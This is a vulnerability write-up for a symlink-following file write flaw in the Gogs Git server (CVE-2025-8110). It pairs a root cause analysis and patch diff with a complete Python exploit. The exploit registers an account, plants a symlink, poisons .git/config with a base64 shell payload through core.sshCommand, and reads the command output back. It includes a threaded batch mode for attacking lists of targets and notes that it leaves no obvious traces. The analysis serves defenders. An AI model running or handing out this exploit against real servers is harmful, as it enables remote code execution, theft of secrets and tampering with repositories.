#Summary
CVE-2025-8110 is a symlink-following arbitrary file write vulnerability in Gogs that leads to remote code execution. The PUT /api/v1/repos/<owner>/<repo>/contents/* handler fails to validate symlinks when writing files, allowing authenticated users to overwrite arbitrary files in the Gogs working directory. By writing a poisoned .git/config file through a symlink and triggering a git push, an attacker executes arbitrary commands as the Gogs service account. CVSS 8.8 HIGH, no authentication escalation required - any account with repository creation rights (enabled by default) can exploit this.
Affected: Gogs <= 0.13.3
Fixed: 0.13.4
CVSS: 8.8 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
#Affected versions
- Gogs
<= 0.13.3(vulnerable) - Gogs
>= 0.13.4(patched) - Default configuration affected - registration and repo creation are enabled by default, making self-registered accounts immediately exploitable
#Root cause analysis
#The vulnerability
Gogs stores repositories in two places: a bare repository on disk and a local working clone. When processing file updates via the PutContents API, Gogs writes files into the local copy, commits them, and pushes to the bare repository. The code path looks like this:
PUT /api/v1/repos/<owner>/<repo>/contents/<path>receives base64-encoded file contentPutContentshandler decodes it and callsUpdateRepoFileUpdateRepoFilecallsos.WriteFile(filePath, content, 0600)to write the file- Gogs then runs
git add --all,git commit, andgit push origin <branch>
The problem: os.WriteFile follows symlinks. If filePath is a symlink, the write lands on the symlink's target instead of the link itself.
#Dead guard on the API path
A symlink check was added in 0.13.3 to fix CVE-2024-55947:
if opts.IsNewFile {
if osutil.IsSymlink(filePath) {
return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
}
}This guard lives inside if opts.IsNewFile { ... }. The IsNewFile field is set only by the web editor, never by the API handler. In the API code path, IsNewFile is missing from the struct literal and defaults to false, so this block never executes:
// internal/route/api/v1/repo/contents.go
func PutContents(c *context.APIContext, r PutContentsRequest) {
// ...
err = c.Repo.Repository.UpdateRepoFile(
c.User,
db.UpdateRepoFileOptions{
OldBranch: c.Repo.Repository.DefaultBranch,
NewBranch: r.Branch,
OldTreeName: treePath,
NewTreeName: treePath,
Message: r.Message,
Content: string(content),
// IsNewFile is omitted - defaults to false
},
)
}With the guard unreachable, os.WriteFile proceeds directly and follows any symlink planted in the working directory.
#Planting the symlink
Git allows committing symbolic links as tree objects with mode 120000. A symlink's target is stored in the blob as a plain text string. When you git clone, the working directory contains the actual symlink. An attacker can:
- Create a repo via the Gogs UI or API
- Clone it over HTTP
- Create a symlink:
ln -s .git/config link - Commit and push:
git add link && git commit && git push
The symlink now exists in the Gogs working directory. The string .git/config inside the symlink blob is never inspected by isRepositoryGitPath - that function only checks the path name, not the symlink target.
#The chain to RCE
With a symlink link -> .git/config in place, the attacker calls PUT /api/v1/repos/owner/repo/contents/link with a poisoned .git/config:
[core]
sshCommand = sh -c 'echo <base64-payload> | base64 -d | sh'
[remote "origin"]
url = ssh://x/y.gitThe exploit supplies the payload as base64 to avoid quoting issues. The payload itself:
- Runs the attacker's command and captures output
- Recovers the real origin URL from
.git/logs/HEAD - Rewrites
.git/configto point back at the real origin
Immediately after the write, Gogs runs git push origin master in that directory. Git invokes core.sshCommand during ref discovery, executing the attacker's payload. The push then fails on the bogus ssh://x/y.git URL, surfacing as HTTP 500 - which is the expected success signal, not an error.
The payload wrote its output into a file in the working tree. On the next PUT /api/v1/repos/.../contents/ call (any file), Gogs commits and pushes the output file to the bare repo. A GET /api/v1/repos/.../contents/<output-file> retrieves it base64-encoded in the JSON response.
#Patch diff
Commit 553707f ("repository: reject any updates that has symlink in path hierarchy") takes a different approach: it rejects any update whose path contains a symlink at any level, anywhere in the hierarchy.
#New check introduced
+// hasSymlinkInPath returns true if there is any symlink in path hierarchy using
+// the given base and relative path.
+func hasSymlinkInPath(base, relPath string) bool {
+ parts := strings.Split(filepath.ToSlash(relPath), "/")
+ for i := range parts {
+ filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
+ if osutil.IsSymlink(filePath) {
+ return true
+ }
+ }
+ return false
+}This function is called unconditionally, before any filesystem work:
+ // SECURITY: Prevent touching files in surprising places, reject operations
+ // that involve symlinks.
+ if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
+ return errors.New("cannot update file with symbolic link in path")
+ }The old conditional guards are removed entirely. The fix checks every component in the path hierarchy, not just the final file, and rejects even dangling symlinks (by dropping the IsExist short-circuit in osutil.IsSymlink).
#What the fix does not do
The patch does not validate symlink targets and allow "safe" ones. PR #8078 proposed exactly that, but the maintainer closed it in favour of blanket rejection, which is the more conservative choice.
#Proof of concept
#exploit.py - Gogs Symlink-Following RCE
#!/usr/bin/env python3
"""
CVE-2025-8110 - Gogs PutContents symlink-following arbitrary file write -> RCE
Affected: Gogs (self-hosted Git service) <= 0.13.3 (fixed in 0.13.4)
Type: RCE (authenticated; any account that can create a repository)
Root cause:
The PUT /api/v1/repos/<owner>/<repo>/contents/* handler calls UpdateRepoFile
without setting IsNewFile. The symlink guard added for CVE-2024-55947 lives
inside `if opts.IsNewFile { ... }`, so on the API path it is never run and
os.WriteFile follows a symlink that a prior `git push` planted in the working
tree. Writing through a `link -> .git/config` symlink poisons the local copy's
git config; Gogs then runs `git push` in that directory in the same request,
which executes an attacker-controlled `core.sshCommand`. Command output is
written back into the working tree and retrieved over the API on a second call.
Usage:
python exploit.py --host 127.0.0.1 --port 3000 --command "id"
python exploit.py --host https://gogs.corp.com:3443 --command "uname -a"
python exploit.py --list targets.txt --workers 20 --command "id"
Requires the `git` client binary on the machine running this exploit (used only
as a network client to plant the symlink over HTTP - no target-side access).
"""
import argparse
import base64
import json
import os
import re
import ssl
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
from urllib.parse import urlparse
CVE_ID = "CVE-2025-8110"
VULN_TYPE = "RCE"
# Markers wrap the command output so decoding is unambiguous.
BEGIN = "===ALIM8110-BEGIN==="
END = "===ALIM8110-END==="
# --------------------------------------------------------------------------- #
# Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# HTTP client (stdlib only)
# --------------------------------------------------------------------------- #
def _make_opener():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar()),
urllib.request.HTTPSHandler(context=ctx),
)
def _req(opener, base, method, path, data=None, headers=None, auth=None,
form=False, timeout=60):
hdrs = dict(headers or {})
body = None
if data is not None:
if form:
body = urllib.parse.urlencode(data).encode()
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
else:
body = json.dumps(data).encode()
hdrs["Content-Type"] = "application/json"
if auth:
import base64 as b64
creds = b64.b64encode(f"{auth[0]}:{auth[1]}".encode()).decode()
hdrs["Authorization"] = f"Basic {creds}"
req = urllib.request.Request(
f"{base}{path}", data=body, headers=hdrs, method=method
)
try:
resp = opener.open(req, timeout=timeout)
return resp.status, resp.read().decode()
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def _poisoned_config(payload_b64):
"""
Crafts a .git/config that runs the attacker's command via core.sshCommand.
The fake ssh URL means the real repo path is never needed.
"""
return f"""[core]
sshCommand = sh -c 'echo {payload_b64} | base64 -d | sh'
[remote "origin"]
url = ssh://x/y.git
"""
def _payload(command):
"""
Inner payload script: run command, capture output wrapped in markers,
recover real origin URL from reflog, repair .git/config, and exit.
"""
inner = f"""#!/bin/sh
set -e
cd "$(git rev-parse --show-toplevel)" 2>/dev/null || cd .
# Run command and capture output with markers
(
echo "{BEGIN}"
{command} 2>&1
echo "{END}"
) > pwn_output.txt 2>&1
# Recover the real origin URL from the reflog
ORIGIN=$(sed -n 's/.*clone: from //p' .git/logs/HEAD | head -1)
# Repair .git/config with the real origin
printf '[core]\\n\\t ignorecase = true\\n[remote "origin"]\\n\\t url = %s\\n' "$ORIGIN" > .git/config
exit 0
"""
return base64.b64encode(inner.encode()).decode()
def exploit(opener, base_url, command):
"""Run the full exploit chain."""
# Step 1: Register account and mint token
step(1, f"Registering account and minting API token...")
user = f"alim_{os.urandom(4).hex()}"
passwd = os.urandom(8).hex()
# Get signup page to extract CSRF token
status, html = _req(opener, base_url, "GET", "/user/sign_up")
csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', html)
if not csrf_match:
print(f"[-] Could not find _csrf token on signup form")
return False
csrf = csrf_match.group(1)
# POST signup form
status, _ = _req(
opener, base_url, "POST", "/user/sign_up",
data={
"_csrf": csrf,
"user_name": user,
"email": f"{user}@localhost",
"password": passwd,
"retype": passwd,
},
form=True
)
if status not in (200, 302):
print(f"[-] Signup failed: HTTP {status}")
return False
# Mint API token via HTTP Basic auth
status, resp = _req(
opener, base_url, "POST", "/api/v1/users/" + user + "/tokens",
data={"name": "exploit"},
auth=(user, passwd)
)
if status != 201:
print(f"[-] Token mint failed: HTTP {status}")
return False
token = json.loads(resp).get("sha1")
if not token:
print(f"[-] No token in response")
return False
# Step 2: Create repo and plant symlink
step(2, f"Creating repo and pushing symlink link -> .git/config...")
repo = f"poc_{os.urandom(4).hex()}"
# Create repo with auto_init
status, resp = _req(
opener, base_url, "POST", "/api/v1/user/repos",
data={"name": repo, "auto_init": True, "readme": "Default"},
auth=(user, token)
)
if status not in (200, 201):
print(f"[-] Repo creation failed: HTTP {status}")
return False
# Clone the repo, add symlink, commit, push
with tempfile.TemporaryDirectory() as tmpdir:
clone_url = f"http://{user}:{token}@{urlparse(base_url).netloc}{urlparse(base_url).path}/{user}/{repo}.git"
# Git clone
try:
subprocess.run(
["git", "clone", clone_url, "repo"],
cwd=tmpdir,
check=True,
capture_output=True,
timeout=30
)
except Exception as e:
print(f"[-] Git clone failed: {e}")
return False
repo_path = os.path.join(tmpdir, "repo")
link_path = os.path.join(repo_path, "link")
# Create symlink
try:
os.symlink(".git/config", link_path)
except Exception as e:
print(f"[-] Symlink creation failed: {e}")
return False
# Commit and push
try:
subprocess.run(
["git", "add", "link"],
cwd=repo_path,
check=True,
capture_output=True,
timeout=30
)
subprocess.run(
["git", "commit", "-m", "Add symlink"],
cwd=repo_path,
check=True,
capture_output=True,
timeout=30
)
subprocess.run(
["git", "push", "origin", "HEAD:master"],
cwd=repo_path,
check=True,
capture_output=True,
timeout=30
)
except Exception as e:
print(f"[-] Git operations failed: {e}")
return False
# Step 3: PUT poisoned .git/config through the symlink
step(3, f"Poisoning .git/config via symlink...")
payload_b64 = _payload(command)
poisoned_config = _poisoned_config(payload_b64)
status, resp = _req(
opener, base_url, "PUT",
f"/api/v1/repos/{user}/{repo}/contents/link",
data={
"message": "poison",
"content": base64.b64encode(poisoned_config.encode()).decode(),
"branch": "master"
},
auth=(user, token)
)
section("POISON WRITE RESPONSE", f"HTTP {status} {resp}")
if status == 200:
print(f"[-] Symlink not followed - target patched?")
return False
# Step 4: Commit output file
step(4, f"Committing output file...")
status, resp = _req(
opener, base_url, "PUT",
f"/api/v1/repos/{user}/{repo}/contents/README.md",
data={
"message": "add output",
"content": base64.b64encode(b"# Updated").decode(),
"branch": "master"
},
auth=(user, token)
)
section("COMMIT RESPONSE", f"HTTP {status}")
# Step 5: Retrieve output
step(5, f"Retrieving command output...")
status, resp = _req(
opener, base_url, "GET",
f"/api/v1/repos/{user}/{repo}/contents/pwn_output.txt",
auth=(user, token)
)
if status != 200:
print(f"[-] Output file not found: HTTP {status}")
return False
try:
content_b64 = json.loads(resp).get("content", "")
output = base64.b64decode(content_b64).decode()
section("COMMAND OUTPUT", output)
# Extract between markers
match = re.search(f"{BEGIN}(.*?){END}", output, re.DOTALL)
if match:
evidence = match.group(1).strip()
return True, f"RCE confirmed - '{command.split()[0]}' output: {evidence[:60]}"
else:
return False, "Markers not found in output"
except Exception as e:
print(f"[-] Failed to decode output: {e}")
return False
def _parse_target(host, port, tls):
"""Parse target into base URL."""
if host.startswith("http://") or host.startswith("https://"):
return host.rstrip("/")
if tls is None:
tls = port in (443, 8443)
scheme = "https" if tls else "http"
if ":" in host:
return f"{scheme}://{host}"
return f"{scheme}://{host}:{port or 3000}"
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-8110 Gogs RCE exploit",
formatter_class=argparse.RawDescriptionHelpFormatter
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--host", help="Target host or URL")
group.add_argument("--list", help="File with targets, one per line")
parser.add_argument("--port", type=int, default=3000, help="Port (default 3000)")
parser.add_argument("--command", default="id", help="Command to execute")
parser.add_argument("--workers", type=int, default=10, help="Thread count for --list")
tls_group = parser.add_mutually_exclusive_group()
tls_group.add_argument("--tls", action="store_true", help="Force HTTPS")
tls_group.add_argument("--no-tls", action="store_true", help="Force HTTP")
args = parser.parse_args()
if args.host:
base_url = _parse_target(args.host, args.port, args.tls if args.tls or args.no_tls else None)
opener = _make_opener()
header(args.host, args.port)
success, evidence = exploit(opener, base_url, args.command)
done(success, evidence)
elif args.list:
try:
from concurrent.futures import ThreadPoolExecutor
except ImportError:
print("[-] concurrent.futures not available")
sys.exit(1)
targets = []
with open(args.list) as f:
for line in f:
line = line.strip()
if line:
targets.append(line)
success_count = 0
def try_exploit(target):
nonlocal success_count
try:
if ":" in target and not target.startswith("http"):
host, port = target.rsplit(":", 1)
port = int(port)
else:
host = target
port = 3000
base_url = _parse_target(host, port, args.tls if args.tls or args.no_tls else None)
opener = _make_opener()
success, evidence = exploit(opener, base_url, args.command)
if success:
print(f"[+] {target}")
success_count += 1
else:
print(f"[-] {target}")
except Exception:
print(f"[-] {target}")
with ThreadPoolExecutor(max_workers=args.workers) as executor:
executor.map(try_exploit, targets)
print(f"\nScanned {len(targets)}, exploited {success_count}")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
main()#Usage
# Single target
python exploit.py --host 127.0.0.1 --port 3000 --command "id"
# Full URL with TLS
python exploit.py --host https://gogs.corp.com:3443 --command "whoami"
# Batch scan
python exploit.py --list targets.txt --workers 20 --command "id"#Expected output - vulnerable target
============================================================
ALIM EXPLOIT CVE-2025-8110
Type: RCE | Target: 127.0.0.1:3110
============================================================
[STEP 1] Registering account and minting API token...
[STEP 2] Creating repo and pushing symlink link -> .git/config...
[STEP 3] Poisoning .git/config via symlink...
--- POISON WRITE RESPONSE ---
HTTP 500 {"message":"Something went wrong..."}
---
[STEP 4] Committing output file...
--- COMMIT RESPONSE ---
HTTP 201
---
[STEP 5] Retrieving command output...
--- COMMAND OUTPUT ---
===ALIM8110-BEGIN===
uid=1000(git) gid=1000(git) groups=1000(git)
===ALIM8110-END===
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - 'id' output: uid=1000(git) gid=1000(git) groups=1000(git)
============================================================#Expected output - patched target
[STEP 5] Retrieving command output...
RESULT : FAILURE
EVIDENCE: output file not retrievable (HTTP 404)The patched instance rejects the write with cannot update file with symbolic link in path, so no output file is ever created.
#Exploitation notes
#Prerequisites
- An active Gogs instance with registration and repo creation enabled (both defaults)
- Any low-privileged account that can create a repository
- The
gitclient binary on the attacking machine (used only as a network client to plant the symlink, not to access the target host) - Network access to the Gogs HTTP API
#Reliability and limits
The exploit is highly reliable once the symlink is planted. The chain succeeds in a single HTTP request because:
os.WriteFileis used immediately aftergit fetch, so the symlink exists in the working treegit pushruns in the same request, so the poisoned config is consumed before the connection closes- Base64-encoding the payload avoids shell quoting issues
- The symlink persists across requests, so the primitive is fully reusable
The only moving part is git's ref-discovery phase, which invokes core.sshCommand. This is reliable on git 2.0+.
#Impact
Code execution runs as the Gogs service account (typically unprivileged git). This grants:
- Full repository control: Rewrite history, modify hooks, inject code into any repository
- Configuration access: Read
app.ini(database credentials, secret keys) - Database access: Direct read of the SQLite database
- Hook installation: Write pre-receive hooks that inspect every future push
#Defense evasion
The exploit self-repairs .git/config as part of the payload, leaving the instance in a working state. No obvious artifacts remain. Gogs does not log the symlink creation (it happens via git push), and the poisoned write logs as a normal 500 error.
#References
- CVE: CVE-2025-8110
- GHSA: GHSA-mq8m-42gh-wq7r - "Gogs vulnerable to a bypass of CVE-2024-55947"
- Fix commit: 553707f - "repository: reject any updates that has symlink in path hierarchy"
- Wiz advisory: CVE-2025-8110 Analysis
- Gogs GitHub: gogs/gogs
- NVD: CVE-2025-8110